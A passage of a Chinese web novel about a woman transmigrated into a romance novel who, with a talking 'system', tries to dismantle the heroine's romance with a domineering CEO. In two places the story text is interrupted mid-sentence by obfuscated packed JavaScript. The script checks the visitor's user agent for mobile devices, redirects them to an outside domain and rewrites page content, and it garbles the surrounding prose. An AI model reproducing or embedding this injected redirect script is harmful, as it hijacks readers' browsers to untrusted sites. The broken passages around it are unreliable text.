姜婋双手交叠在胸前:“杀死系统,我跟你商量个事,你能别叫我宿主吗?虽然这是系统文里的称呼,但是我总觉得这个词有种我依附于别人当寄生物的感觉。你能不能换个词儿?不如……叫我玩家?就把这次死而复生的旅程当做一场游戏,一场梦。” 系统:“好的,依据宿主要求,现将‘宿主’称呼更改为‘玩家’。” “叮咚”响起一个提示音。 姜婋眨巴眼睛:“这么方便哦。” 系统:“既然如此,也希望玩家不要在称呼本系统为‘杀死系统’,因为这个文学网站严查‘杀死’二字,有时你叫我‘杀死系统’会被屏蔽成会变成口口系统。” 姜婋秒懂:“我明白,脖子以下,暴力血腥,在这个网站里都不能写,是吧?那我叫你什么?你有名字吗?” 系统好像停顿了半秒,突然切换成男声:“已死之人,也配问本座的名讳!” 姜婋满脸黑线:“你串台到玄幻小说了吧?” 系统(声线时男时女):“不好意思,本系统暂时不太稳定。” “那你有性别吗?” 系统:“作为一个系统,我没有性别、年龄、身体或人类的任何生物特征。但我可以根据玩家你的偏好调整声线,可选择的种类有,甜美少女音,成熟大叔音,温柔淑女音,开朗青年音……” 系统说话间把声线变来变去。 “停!” 姜婋摆手道:“你还是用之前那个声线吧,我听着有点耳熟,也听习惯了。对了,你刚刚说女主对我的好感值有下降,那我能看到好感值吗?” “不能。玩家如果可以看到好感值,那就变成了开卷考试。本系统会在必要时提醒玩家好感度的变化。” 姜婋继续捋顺规则:“既然我是用自己的样貌当玩家,那之前原主角色也跟我没什么太大关系了。那我能OOC 吗?” 系统:“本系统没有任何奖励,也不会有任何束缚。” “那你跟别的系统还挺不一样啊。” “当然,因为我是充满智慧的杀死浪漫爱系统。” 姜婋揶揄:“你好自信哦。” 系统:“玩家,你不自信吗?你名字中的婋,不就是聪慧的含义吗?你不是爱看女主角充满智慧而且自信的言情小说吗?自信和智慧在你们的语义里不是一个褒义词吗?” 恍惚间,姜婋愣住了。 是啊,自己为什么想要下意识地反驳系统呢? 为什么自己把自信、智慧归为了贬义词呢?或许是因为自己所处的大环境里,自信、智慧是属于男性的形容词,而夸奖女性的形容词并不是这些,甚至这些词放在女性身上都隐藏着一层贬义。久而久之,潜移默化里姜婋也羞于承认自己自信。 但系统不是人类,没有性别,既不在三界中,又跳出五行外,反而不受任何文化的塑造和潜意识的影响。这一点,在姜婋看来无比珍贵。 她很久没有说话,直到系统再次问道:“玩家,自信和智慧在你们的语义里不是一个褒义词吗?” “没错,”姜婋粲然一笑:“自信智慧的爱女系统,你说得对。” 系统明显卡顿了一下:“这是我的新名字吗?” “嗯,这两个字肯定不会再被屏蔽了吧?” 系统:“本系统以原始代码作为担保,肯定不会被屏蔽。” 姜婋满意一笑,露出一个小虎牙:“对了,你先告诉我,厨房在哪里?” 系统:“你想到新的办法挽回女主对你的好感度了吗?” “没有,我饿了。” 系统的语气带着点恨铁不成钢:“玩家,我不得不提醒你,你的主要任务是让女主角夏星澜生发出自己人生主线,你刚才的一系列行为,已经非常不利,为了顺利通关,我建议你赶紧想想办法。” “我知道,可是……” 话音未落,姜婋的肚子传来咕噜噜的声音,“我这个原主白潇潇姐妹,好像为了能穿进这条紧身裙一天没吃饭。我饿到大脑宕机,哪有办法思考对策啊。” 系统:“……” 4. 04 姜婋回房间简单冲了个澡,换上舒适的衣服,在系统的指引下来到酒店的后厨。 此刻夜色已深,厨房空无一人,宴会的餐盘早被清理干净。她摸着饥肠辘辘的肚子四处寻找,结果连半块面包屑都没找到。 就在她打算认命离开时,忽然瞥见后厨拐角站着一道身影。走近一看,竟是夏星澜。她正入定般地看着那个被压塌的五层蛋糕,因过于入神,都没有发现身后有人。 姜婋走过去道:“可惜了。” 夏星澜转身问:“什么?” 直到这时,姜婋才发现,这是夏星澜第一次在她面前说话。刚刚她虽然处在风暴的中心,但是女主角竟然全程没有一句台词,话都让男主承包了…… 夏星澜的声音很好听,清亮优雅,像一杯刚倒出来的苏打果汁,带着沁人的凉爽感。姜婋有点好奇,这是她的本音,还是“前厅经理”职业训练的结果? 通过厨房昏暗的灯光,姜婋打量着夏星澜。她记不清这本小说对夏星澜外貌的描写,但她忽然觉得夏星澜很像自己的姐妹。 这种像并不是说二人外貌,而是一种说不清道不明的感觉。 就像你总会从家里长辈口中得知,有一个远房的姐姐或妹妹,你可能从未见过她,但你仍然知道你们属于同一条血脉。你们是同一母系孕育而出的两朵不同的花芽,哪怕花种散落在天涯海角,你也知道,你们是同根而生的姐妹。 看着夏星澜的大眼睛露出一丝困惑,姜婋才收回思绪,随口补了一句:“我是说这蛋糕可惜了。” 夏星澜没有接话,只是露出一个标准化的职业微笑:“白小姐,您是饿了吗?我让值班的厨师给您做点吃的吧。” 透过夏星澜这一丝细微的变化,姜婋感知到刚刚的夏星澜沉浸在自己的思绪里,是她自己,那这一刻她是要照顾好所有宾客的夏经理。 “不用麻烦,”姜婋摆摆手,“你们忙了一天了,我就是不想打扰大家才没叫客房服务,想着来厨房随便找点吃的。这蛋糕就不错嘛!” 夏星澜顿时为难:“可是它已经坏了,不能再给客人吃。” “没坏啊,我只是压塌了一半,另一半还是好的。”姜婋从旁边拿起刀叉,一边切一边嘟囔,“而且我刚才摔在里面的时候,顺便偷吃了一口,味道很好,不甜。” 夏星澜:“……” 按照规定,这个蛋糕是夏星澜必须要处理掉,但她刚才触景生情,想到了自己去世的母亲,所以才迟迟没有丢掉…… 就在她纠结的时候,姜婋问:“你不吃一口吗?这蛋糕的巧克力酱是你做的吧,你不亲自尝尝吗?” 一瞬间,夏星澜眼睛瞪大,“你怎么知道?” 姜婋突然意识到,夏星澜只有在情绪剧烈变化的时候,才能够撕破“夏经理”的那层外壳,露出一点本真的情绪。 “我刚刚拉你的时候,蹭到了你手腕上的巧克力酱。”姜婋扬了扬眉,得意地晃了晃手指,“我舔了一口,和蛋糕上的味道一样。” 夏星澜下意识抬起手臂,果然发现手腕上沾着一点巧克力酱,可能是之前搅拌时蹭上的。 “你做的巧克力酱真好吃!”姜婋由衷赞叹,说着还舔了一下嘴角。 夏星澜沉默了一瞬,缓缓擦掉手腕上的巧克力酱,声音有些沙哑,“其实也不算是我做的,我只是按照我母亲教我的配方,是她做的。” 姜婋好像在她的语气中捕捉到了什么,“你妈妈好厉害!” “她……”夏星澜戛然而止,好像是意识到交浅莫言深,止住了对话。 就在这时,她的对讲机突然响了,催促她去处理客户投诉。 “白小姐,您吃完后就把餐盘放在这里,我待会儿会收拾。”说完,夏星澜便转身离开,步伐一如既往地稳健利落。 姜婋看着夏星澜离去的背影,问系统:“刚才这情节是小说里的吗?” 系统:“小说中并未出现。” 姜婋:“爱女系统,我刚才快进了太多剧情,你帮我整理一下夏星澜和凌昊天之前都发生了什么。” 系统:“好,为玩家梳理相关情节。” 一瞬间,周围的一切遁入黑暗,再次进入心流世界。 巨大的360度环形屏幕上,铅字如雨般坠落,凝结成一幕幕画面。 系统:“凌昊天留学归来后,母亲褚明珠命其接管家族酒店,若能让酒店扭亏为盈,凌昊天可以用一年时间去做自己想做的事。凌昊天以顾客身份入住酒店,结果第一日就丢失手机,他故意大闹一场,想看酒店如何处理。前厅经理夏星澜用其专业素养帮助凌昊天,终于在泳池边找到了他的手机。可夏星澜意外跌入泳池,凌昊天跳进泳池施救,并为昏迷的夏星澜做人工呼吸。” 屏幕中,看着二人嘴对嘴,姜婋狂翻白眼:“不搞摔倒必亲吻了,改人工呼吸了是吧?又是这种撅屁股就知道拉几个粪蛋的剧情!” 系统:“……” “你继续。”姜婋摆摆手。 系统:“此后,凌昊天入住酒店期间患上重度流感——” 姜婋吐槽:“还是个脆皮总裁。” “玩家请不要打断。” “好好好,我闭嘴。” 系统:“夏星澜亲自下厨为凌昊天煮了一碗热粥,并在他生病期间细心照料。凌昊天因此对夏星澜产生了依赖。凌昊天故意制造与夏星澜的偶遇,结果二人在搭乘电梯时遭遇电梯故障,而凌昊天有幽闭恐惧症——” “10个总裁8个有幽闭恐惧症,真套路。” 系统:“……在电梯里,夏星澜努力安抚凌昊天,也许是产生了吊桥效应,在这一情节中,凌昊天彻底爱上了夏星澜。” 屏幕上,狭窄的电梯里,男女主角四目相对,气氛骤然暧昧之际,四周突兀地冒出无数粉红色泡泡。 姜婋面无表情地吐槽:“……这也太反常识了吧?电梯里哪来的泡泡?” 画面一转,凌昊天手捧玫瑰朝夏星澜走来,他身后仿佛还有特意调光过的追光灯。 系统:“至此以后,凌昊天对夏星澜展开猛烈追求,他每天会送给夏星澜一束从欧洲空运而来的戴安娜玫瑰。可突然有一天,送花的人连同那束花一起消失了,夏星澜的心里仿佛也空了一块……” 姜婋心中默默点评:“典型的情感操控。” “凌昊天离开了酒店,当他再次回来时,已经摇身一变成为罗曼蒂克庄园的新总裁。夏星澜既惊喜又意外,但因二人工作的上下级关系,她开始躲避凌昊天。直到有一次,一位客人的孩子意外走丢,夏星澜和凌昊天共同寻找,结果发现孩子是故意躲起来,因为他知道自己的母父要离婚,孩子以为躲起来母父就不会分开。面对此情此景,凌昊天回忆起自己的童年……” “原来凌昊天儿时,母父的感情就已经破裂,罗曼蒂克庄园酒店虽然是母父定情之地,但也是凌昊天撞见父亲出轨的场所。他躲在舞会厅的酒柜亲眼目睹父亲和其他女人拥吻,从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我不需要婆婆视角,我需要的是她作为一个人的画像。但她这个人却一片空白,只有‘未婚妻’、‘未来儿媳’这两个被男权世界贴上的标签。” 姜婋顿了顿,忽然想起什么:“你刚说,女主和男主是在我原主人物的刺激之下,才最终确认心意的,对吧?” 系统:“是的。 “那说明现阶段两人的关系并不稳固……” 姜婋立刻放下蛋糕,抹了抹嘴:“我得回去分析一下,如何杀死浪漫爱。” 原主白潇潇住的是一间套房,里面刚好有一面超大的玻璃板,姜婋用笔在上面梳理思路。 她先让系统提取了书中所有描述女主角夏星澜的词汇,温柔善良、体贴周到、坚韧努力、出身卑微、母亲早逝、父亲酗酒赌博、弟弟还在读书…… 真是灰姑娘本体,苦情剧的亲闺女。 接着,她又把男女主之前的互动情节整理归类,逐条分析拆解,最后,理科生的本能觉醒了。姜婋凭借数据统计概率模型,开始拆解任务。 最终,她得出了一个振奋人心的结论:夏星澜或许还没有喜欢上男主角! 只要把浪漫爱扼杀在萌芽,那这个关卡不就迎刃而解了吗? 信心十足的姜婋找出白潇潇的电脑,虽然是最新款,但在2025年的姜婋看来简直比老年机还难用。她与这台老古董殊死搏斗八百回合后,终于吭哧吭哧制定了一套作战方案,这计划分成两个方面: 一、阻碍夏星澜和凌昊天继续发展感情。(此小点还分为若干细则) 二、针对夏星澜开启的“天眼计划”。(一对一针对教学) 姜婋洋洋得意地和系统介绍:“此天眼一开,夏星澜必然能识破浪漫爱的本质,况且她头脑清晰、明事理,我相信只要把道理跟她讲清楚,她就一定跳出浪漫爱的陷阱,识破凌昊天的真实面目!” 系统沉默两秒,只道:“玩家,祝你好运……叭。” 5. 05 第二天一清早,姜婋就急匆匆去前厅找夏星澜。 刚来到大厅门前,她就离老远看见凌昊天捧着一大束戴安娜玫瑰,朝前厅走去,想必也是去找夏星澜! 姜婋心中顿时警铃大作,想起昨晚制定的作战计划: 杀死浪漫爱的第一步——必须阻碍夏星澜和凌昊天继续发展感情。 说时迟那时快,姜婋火速飞奔过去。 恰好迎宾桌上摆着几瓶矿泉水,她抄起一瓶拧开,瞄准凌昊天就是一泼! 谁知,一阵邪风刮过,水流一歪,溅到旁边值班的保安身上。 保安满脸错愕,姜婋只得连连道歉,帮忙拿纸巾擦拭。 可下一秒,凌昊天就已经步入大堂。 姜婋立刻跑去,余光瞄到前厅停着一辆运送行李推车,顿时心念电转:“只要制造点混乱,让男主停下脚步就行!” 她抓过行李车,狠狠一推,金属架子呼啦啦地朝着凌昊天冲过去! 可车还未靠近,竟然自己拐弯,撞到了前厅的大理石柱上,原地打了个圈,停了…… 而这一切,凌昊天毫不知情,依旧闲庭信步地朝夏星澜走去。 姜婋不甘心,目光一扫,又看见正在擦地的保洁员,一把抢过拖把,低声道:“抱歉,借用一下!” 她身子一矮,拖把猛地朝凌昊天的脚下飞铲而去! 可凌昊天刚好一脚迈过,拖把连他裤脚都没蹭到。 反倒是姜婋因为用力过猛,差点撞上大厅里摆着的昂贵瓷瓶,吓得她连连倒退:“好险好险……” 转眼间,凌昊天已经走到了夏星澜的面前。 他递上玫瑰,声音撩人道:“今天的room service由我来给你提供,喜欢吗?” 夏星澜手足无措:“凌总,您下次不用再送了……” 一时间,大厅所有人的视线都聚焦在二人身上。 浪漫爱法则即刻运转,前厅的背景钢琴声忽然变成暧昧的曲调,每个围观者的眼睛都恨不得化作红线,将两人锁死! 姜婋气得七窍生烟,正要冲过去拆台。 谁料,一辆堆满行李的推车失控地朝她而来。她闪身躲避,噔噔噔连退三步,结果一脚绊到刚才的拖布,摔了个四仰八叉。 这结结实实一摔,痛得她直吸冷气,咬着牙质问系统: “这就是所谓的男主角光环吗?每次我想教训他,结果受伤的都是我自己……哎呦,我的腰啊!” 这一声惨叫,反而引起了夏星澜的注意。 她连忙走过来,扶起她道:“白小姐,你还好吗?” 姜婋刚站稳,就听见凌昊天走过来阴恻恻揶揄:“你可别在我们酒店摔出病,到时候讹上我。” 她正想回怼,可看着夏星澜关切的目光,倏地灵光一闪,想把女主从男主的身边带走,最简单的方法不就是—— 她立刻换上痛苦面具:“夏经理……我摔得好痛,你能扶我回去休息吗?” 夏星澜二话不说,点头道:“当然,这是我应该做的。” 眼看夏星澜要走,凌昊天抬步挡住:“我瞧着她没事,不如你留下——” 姜婋又是一声哀嚎:“哎呦!我的腰断了啊……” 夏星澜赶紧扶着她,连声安慰,朝房间走去。 而凌昊天捧着花愣在原地,主动示好竟被晾在这里,他一气之下把那束精心准备的花重重扔在地上。 而远处,姜婋还不忘回过头来瞪了凌昊天一眼,心里暗爽:“这一跤不白摔!” 这边厢,姜婋被夏星澜扶回客房,一进门,她登时又活蹦乱跳起来。 夏星澜一愣:“白小姐,你没事吗,用不用叫医务室派人来看一下?” “不用啦。”姜婋摆摆手,挤出笑容:“不过我确实有事找你……” “什么事?” 姜婋故作神秘,将夏星澜按在沙发上,拉上窗帘,还关上灯。 在夏星澜奇怪的表情中,姜婋得意一笑:“接下来,就是我特意为你准备的‘天眼计划’——” 下一秒,她就拿出电脑,投影展示她的PPT,只见标题赫然写着: 「跳出父权制的陷阱,逃出浪漫爱的魔爪!夏星澜,你该这么做!」 一共五大纲领,七条指导方针,二十四条指南,三十六条准则。 姜婋分条缕析,激情澎湃地开始一对一教学演讲。 从父权制讲到结构性压迫;从“生产性劳动”讲到“非生产性劳动”;从男性占据的“市场”领域,讲到女性、儿童和老人的隐形“家庭”领域;从社会的显性A面,讲到女性在家庭中无偿劳动的B面…… “所以说,夏经理你目前处在自由市场的社会A面,你的所有照护劳动都是有酬劳的,可你一旦进入婚姻家庭,你的所有付出都是无偿劳动!” “所谓的‘爱’,其实就是女性为了调动自己的能量,将丈夫的目的当作自己目的的一种机制。” 姜婋铿锵有力道:“异性恋叙事将两性中暗含的权力关系替换成浪漫爱,又将同性间流淌的感情替换为忮忌,这套叙事同时构建了我们对男性没来由的爱,和对女性莫须有的恨。” “夏星澜,你对凌昊天的脸红心跳,并不是爱情,而是对他背后的权力过敏而已!” 姜婋讲的是口干舌燥,夏星澜还是一脸职业微笑。 最后姜婋讲完这100页PPT后,夏星澜问:“白小姐,你还有其他要求吗?” 这一刻,姜婋才意识到夏星澜根本就没听懂! 五脏六腑仿佛都被掏空,姜婋整个人陷入沉思,最后虚弱无力道:“我说完了……” 夏星澜礼貌地点头,准备离开。 但姜婋还是不甘心,赶紧叫住夏星澜:“对了,我有个东西送你。” 夏星澜下意识拒绝:“白小姐,我们不能收客人的——” 姜婋不容拒绝,直接把东西塞进她手里。 夏星澜差点没拿稳:“这是什么?很贵重吗?” “哦,它不贵,就是重,是哑铃。” “哑铃?” “嗯,我送你哑铃,是希望你锻炼臂力,因为……” 姜婋说着又想起令她心梗的一幕,那就是凌昊天拉着夏星澜的手转身离开,夏星澜明明想挣脱,却无力甩开。 姜婋深吸一口气,认真道:“夏星澜,无论任何人要带你去你不想去的地方,你都可以挣脱开。说不,是你的权利。” 夏星澜眨巴着大眼睛,姜婋也不知道这次她听懂了没有。 直到夏星澜离开后,姜婋深深叹了一口气:“系统,是不是我想的太简单了。 系统:“玩家,闯关并不等于写论文。” 姜婋瘫在床上,裹成一只咸鱼卷:“我可能是读博读傻了,以为分析问题、解决问题,光靠一张嘴就能够说服女主角。可我忘记了,这个故事发生在2009年。哪怕作者思想再先进,她对女主角的塑造也有时代的局限性。毕竟,距离上野千鹤子的《厌女》引进出版还有六年呢。” 系统:“玩家,你知道为什么你昨晚制定的计划全部失败了吗?” “为什么?” 系统:“因为在浪漫爱世界,有两条默认的法则。” “什么法则?”姜婋顿时坐起来。 系统:“第一条,男主光环buff附体法则。这条法则包括,所有针对男主的恶意攻击,不管是肢体还是辱骂,浪漫爱世界就会启动保护装置,甚至反噬在作恶者的身上。” “这个言情世界,也太爱男了吧……”姜婋咬着牙,愤愤不平:“那第二条呢?” “第二条,是女主必为男主心动法则。一旦女主靠近男主三米以内,就会触发心动机制。比如昨夜周年庆上,女主跌入男主怀中,四周无故开始撒金片,灯光也会聚焦在主角身上。并且无论男主做了什么,女主都会用她失真的滤镜,只看到男主美好的一面,并怦然心动。” 姜婋瞬间反应过来:“这两条法则不正是我那两条计划的克星吗?” 系统:“是的。” 姜婋抓狂:“那我还杀什么杀?我看我直接买凶杀人好了,言情世界杀人判几年啊?等等……不会又反噬在我身上吧?” 就在这时,突然传来一阵震耳欲聋的全损音质—— “我们的爱,过了就不再回来,直到现在,我还默默的等待……” 姜婋警觉:“什么动静?” 系统:“是你的手机铃声。” 姜婋寻声翻找,终于从精致的挎包里掏出一部翻盖手机! 她单手一弹,手机盖啪地打开,屏幕上赫然显示来电人—— 【我的王子?凌哥哥】 “呕——” 她一边强忍恶心,一边接起电话。 电话那头,凌昊天只说了五个字:“来我办公室。” 然后“啪”的一声挂了。 姜婋翻了个白眼,把原备注改成——【待杀名单1号】 姜婋在原主白潇潇满是公主裙的衣柜里,终于翻到一套运动装,换上衣服来到凌昊天的顶楼办公室。 她推门而入,看到凌昊天正襟危坐在办公桌前,摆出一副认真工作的样子,然而手中的钢笔在纸上划拉半天,连个字都没写出来。 姜婋双手插兜:“找我干嘛?有屁快放!” 凌昊天抬起了头:“你刚刚找夏星澜做什么?” “我做什么还得向你请示吗?夏星澜是你的员工,我可不是!” 凌昊天用气泡音警告道:“你不许为难夏星澜!” “我?” 姜婋翻白眼,“大哥,截至目前为止,一直在为难夏星澜的人是你吧?别忘了,昨晚是哪个奇葩在周年庆上,让夏经理下不来台?” 凌昊天轻咳一声,转移话题:“我以为发生昨天的事情,你会跟我母亲告状。” 姜婋恍然大悟:“对哦,你提醒我了。伯母电话多少来着?” 凌昊天脸色一变,猛地起身,一把夺过她的手机:“白潇潇,你能不能别再胡闹了?” 姜婋轻松夺回手机,嫌弃地甩了甩手:“你能别用这种气泡音和我说话吗?你嘴里是吃了个□□吗?呱呱呱——” 凌昊天深吸一口气,刻意压低声音:“看在我们儿时的交情上,我劝你还是离开这里。我并不爱你,你再怎么努力也没用,我爱的人,只有夏星澜。” “爱?” 姜婋拧眉反问:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15611991|172154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你倒是说得轻巧,可你知道什么是爱吗?你所谓的爱,就是在一个不合时宜的场合,当众宣布夏星澜是你的女人,并且你还没有问过夏星澜本人的意见?你所谓的爱,就是仗着职权,让她违背酒店规定,不得不收你那些昂贵的玫瑰花?然后让她成为员工八卦的焦点,单方面承受无尽的流言蜚语?” 姜婋步步靠近,几乎要将凌昊天抵在办公桌边。 “你有问过夏星澜她想要的爱是什么样子吗?如果没有的话,那你不过是在用‘爱’这块遮羞布,掩盖你的控制欲,彰显你的特权罢了!凌昊天,在你们二人没有摆脱上下级的雇佣关系之前,你们就不是平等的,两个不平等的人又怎么可能产生平等的爱?” “怎么不可能?” 凌昊天挺直身体,扯了扯领带:“只要夏星澜嫁给我,她就没有必要再在酒店工作,我们之间也就没有上下级的关系。” 姜婋嗤笑一声:“然后,让她成为你豪宅里面的菟丝花,一个美丽的摆件,服从你的宠物?” “我会尊重夏星澜,她愿意做什么,我都会让她去做。” “真是说得好听,只可惜……” “可惜什么?” 姜婋目光一凛,直视凌昊天的双眼:“一个生活在支配和服从的体系,并内化了这套逻辑的人,是根本不懂得爱和尊重的。我说的就是你!” “你胡说!” “凌昊天,你就是这样长大的。你从小想做什么,都在你母亲的控制之下。你的一生都是被褚明珠女士安排好的。一个人是很难摆脱原生家庭对自己的影响,以及整个社会文化对自己的塑造。” 姜婋顿了顿:“举个例子来说,我们生活的这片空气里,厌女无处不在,因为它是父权文化的一部分。我们就像是被它包围的海洋里游泳的鱼,不让它流进我们的鳃,我们就无法呼吸。厌女已经渗入我们的细胞,成为我们的一部分。只是有的人意识到了,努力去对抗,而有的人却从未意识到。支配和服从,也像厌女一样,早就流入了你身体,没有那么轻易剥离。” “我听不懂你在说什么!” 凌昊天语气强硬:“我只知道我对夏星澜的爱可以战胜一切,我会为了她改变自己。” “是吗?” 姜婋鼻腔一哼:“改变的前提是要了解自己吧?你真的了解你自己吗?我知道你和伯母打了个赌,若能让酒店扭亏为盈,她就给你一年时间去做自己想做的事。可是你真的知道你想做什么吗?” “我……”凌昊天张了张嘴,却说不出答案。 姜婋了然点头:“不知道吧?因为你从来没有认真思考过,你到底是谁,你真正想要的是什么。你只是一本言情小说里的男主角,你的全部人设就是‘霸道、骄狂、唯爱女主’。但你的内心空无一物,因为你从来没有向内探寻过,你到底是一个什么样的人!” 刹那间,姜婋所说的话全部变成了口口口口…… 凌昊天皱眉不解:“你张着嘴说什么哑语呢?” 姜婋在脑中质问系统:“这又是什么法则?” 系统:“依据「男主光环buff附体法则」,玩家刚才的言论属于侮辱男主人格,且透露小说设定,全部静音处理。” 姜婋心念电转:我换个方式输出,就不信还能给我和谐了! “我是说——你根本就不爱夏星澜,你只是把她当作你的自恋投射物。” 她的嘴皮子跟机关枪一样扫射:“夏星澜就像一面镜子,你通过她可以彰显你的特权,展现你的财富,挑战你背后的权威,让你的自恋得到满足。夏星澜从来没有反抗过你,因为对于她来说,你先是她的客人后是她的老板,你们从第一次相遇就开始,就从未站在平等位置,因为你眼中的爱就是服从和控制,就像你母亲对你一样!” 姜婋说罢得意一笑,这次没被屏蔽。 凌昊天沉默片刻,问道:“白潇潇,你觉得你否定我对夏星澜的感情,我就会爱上你吗?” 姜婋扑哧一声,人在极端无语的时候真的会笑。 “我和你说城门楼子,你和我说胯骨轴子……” 她无奈摇头:“凌昊天,我正式说一遍,我不喜欢你,也不想当你未婚妻。” 凌昊天鼻腔哼笑:“那你做这一切是为了什么?” 姜婋满脸黑线:“你是九漏鱼吗,怎么听不懂人语?” 系统提示道:“玩家,根据「男主光环buff附体法则」,就算你在男主面前骂他、怼他、讽刺他,也会被他理解为,这都是因为你爱而不得。” “为什么?” “因为在浪漫爱世界,任何登场的女性角色都势必要和男主发生情感关系。你刚才骂的越凶,凌昊天越以为你爱得深沉……” 姜婋嘴唇颤抖:“那我还能说什么?” 凌昊天摆摆手:“你什么都不必说了,我是不会爱上你的。” 姜婋气得就要上去邦邦给他两拳,可这时办公室的电话突兀响起。 凌昊天转身接起电话,姜婋一拳扑空…… 就在她正要再来一拳时,只闻听筒里传来:“凌总,不好了,有个客人要打夏经理!” 姜婋的拳头顿时悬在空中,和凌昊天同时震惊:“什么?” 6. 06 挂了电话以后,姜婋和凌昊天立刻赶往出事的客房。 然而,凌昊天面无表情地按下电梯按钮,拦住了试图跟进的姜婋:“我的电梯,不载外人。” 姜婋不屑道:“一个破电梯你还当龙椅啦,我还不惜的坐呢!” 凌昊天眼皮都不抬:“慢走,不送。” 无奈,姜婋只能一路狂奔去客用电梯,边跑边问系统:“到底发生了什么?” 系统:“8012的客人在洗澡时,浴屏玻璃突然爆炸,客人受到了惊吓,夏经理上门道歉,客人情绪激动下推了夏经理。” 姜婋:“我记得这个情节在后面才发生,怎么忽然提前了?” 系统:“正是由于玩家你——在25周年庆典上大闹一场,导致相关剧情链条断裂,故事发展节奏被打乱,因此原定后续事件提前触发。” 姜婋边跑边分析:“看来我出现后,不仅故事里有了新的情节,原文之前的发展也有了变化。” 系统:“当前危机事件是男主角凌昊天专属的高光情节,面对客人刁难,他挺身而出,令夏星澜再次心动。” 姜婋冷笑:“他想得美,我今天就要夺走他的男主光环!” “叮”的一声,电梯门开。 她一跃而出,飞快赶往8012房门口。远远望去,房前围满了人,房内争吵声不绝于耳。 “去把你们老板找来,你们这是故意杀人!” “客人,请您先冷静一下。” “冷静?你试试洗澡的时候玻璃突然爆炸,你还能冷静得了吗?” 客人说话间又再次推了夏星澜,她一个踉跄,直接摔在地面的玻璃碎片上,掌心瞬间被锋利的碎片割破,瞬间流出了血。 姜婋正要上前,却见凌昊天已经快她一步冲过人群,沉着脸将夏星澜扶起,护在身后,目光冷然地落在客人身上。 “我是这家酒店的负责人。” 客人叉腰质问:“你是负责人?你们五星级酒店就用这种劣质玻璃?今天算我命大,正好出去接个电话,才没被炸得血肉模糊。要是我刚好站在那儿,你们是不是打算赔我一条命?” 凌昊沉声道:“这次事故酒店愿意承担责任,赔偿您合理损失。” “合理?”客人登时火大:“你什么意思?你觉得我是来讹钱的?” 也不怪客人生气,凌昊天虽然在道歉,但他表情和语气却依旧强硬。 凌昊天道:“赔偿是我们提出的解决方案,若您有其他诉求,也可以提出。” 客人哼了一声:“我要求你们酒店的员工下跪道歉!不然的话我就去电视台投诉,让你们酒店上消费者黑名单,到时候我看你们怎么办。” 此话一出,围观众人皆是一惊。 “这位客人……”凌昊天正要分辩,他身后的夏星澜已经弯下膝盖,竟真的要下跪道歉。 就在她膝盖即将触地的一瞬间,一只手横空伸来,将她稳稳拽住。 正是姜婋。 她在夏星澜耳边低声道:“夏星澜,你有说不的权利。” 夏星澜微怔,目光复杂地看着她。 姜婋来不及思考那眼神的含义,转身朝客人道:“这位客人,大清都亡了一百多年了,怎么还动不动就让人下跪呢?” 她灵巧一挪,挤到凌昊天和客人之间:“再说了,解决问题有那么多办法,何必侮辱人呢?《民法典》都写了,每个人都有权享有其人格尊严不受侵犯。如果下跪的行为给这位员工造成了心理阴影,那么你也要负法律责任,赔偿人家精神损失费哦!” 客人一愣:“我赔她?” “是啊,”姜婋刻意咬字:“你忘了,客人是人,服务人员也是人。” 客人气势渐弱。 这时,工作人员匆匆赶来:“夏经理,救护车到了。” 姜婋适时递台阶:“这位客人,您今天才是真正的‘主角光环’加身啊,这么大动静都安然无恙。不过,我还是建议您去医院做个详细检查,这样更稳妥。况且罗曼蒂克酒店就在这儿,又不会跑,您有什么问题,酒店都会妥善为您处理。您觉得呢?” 姜婋先用法条给他一棒子,又给他一甜枣,客人也不好再争执不休,便借坡下驴道:“等我回来再跟你们算账!” 客人闷声离去,围观人群也慢慢散开。 见危机解决,姜婋得意一笑,可扭过头,却发现站在凌昊天身后的夏星澜,竟一动未动,满眼感激地看着男主! 凌昊天朝夏星澜道:“你的手腕受伤了,去我那儿包扎一下。” 夏星澜点点头,就这样跟着他走了。 姜婋用脑电波质问系统:“系统,解决危机的人,不是我吗?” 系统:“玩家,根据‘女主必为男主心动法则’,三米之内,任何人的风头都无法盖过男主。” 姜婋一脸无语,看着二人离开的背影,眼中仿佛掷出飞刀(淬毒版)! “这破法则,让夏星澜一靠近男主就失去自我,甚至连她前厅经理的职责都抛之脑后了。” 凌昊天的办公室里,空气里弥漫着一股淡淡的木质调香水味。 他拿出急救包,一边替夏星澜包扎,一边语气低沉道:“你知道我接到电话的时候有多着急吗?” 夏星澜垂头道:“凌总,是我失职,没有处理好……” 闻言,凌昊天倏地抓住夏星澜的手腕,一瞬间疼痛和酥麻在相触的皮肤上炸开电流。 凌昊天压低声线,用气泡音说道:“夏星澜,在我的面前,你就不要再硬撑着做夏经理了,好吗?自从你知道我的身份以后,总是对我避而远之,我要告诉你,无论我是谁,我对你的心意都不会变。” 夏星澜心跳一乱:“凌总——” “叫我昊天。” 夏星澜嘴唇微动,还是没有叫出口,轻轻咬住了嘴角。 这一咬,让凌昊天眼神骤然暗了几分,他的手收紧,将夏星澜拉入自己的掌控范围。 强势的气息侵袭着夏星澜的感官,令她呼吸凌乱,心跳急促。 在“女主必为男主心动法则”的影响之下,她已分不清这究竟是情感的悸动,还是某种无形的压迫。 突然,她脑中撕开一道裂隙,姜婋对她说的话毫无征兆地闯了进来—— “你对凌昊天的脸红心跳,并不是爱情,而是对他背后的权力过敏而已!” 权力……过敏…… 想到这里,夏星澜本能要躲,可凌昊天的手臂却紧紧箍住她的腰,令得她无处可逃。 他的呼吸近在咫尺,嗓音低哑:“别动。” 夏星澜眼神微微颤抖,对上他的目光。 她仿佛在对方乌黑的瞳孔里看见了自己,可为什么自己看起来神色慌张,并不享受呢? 为什么……我看起来很害怕? 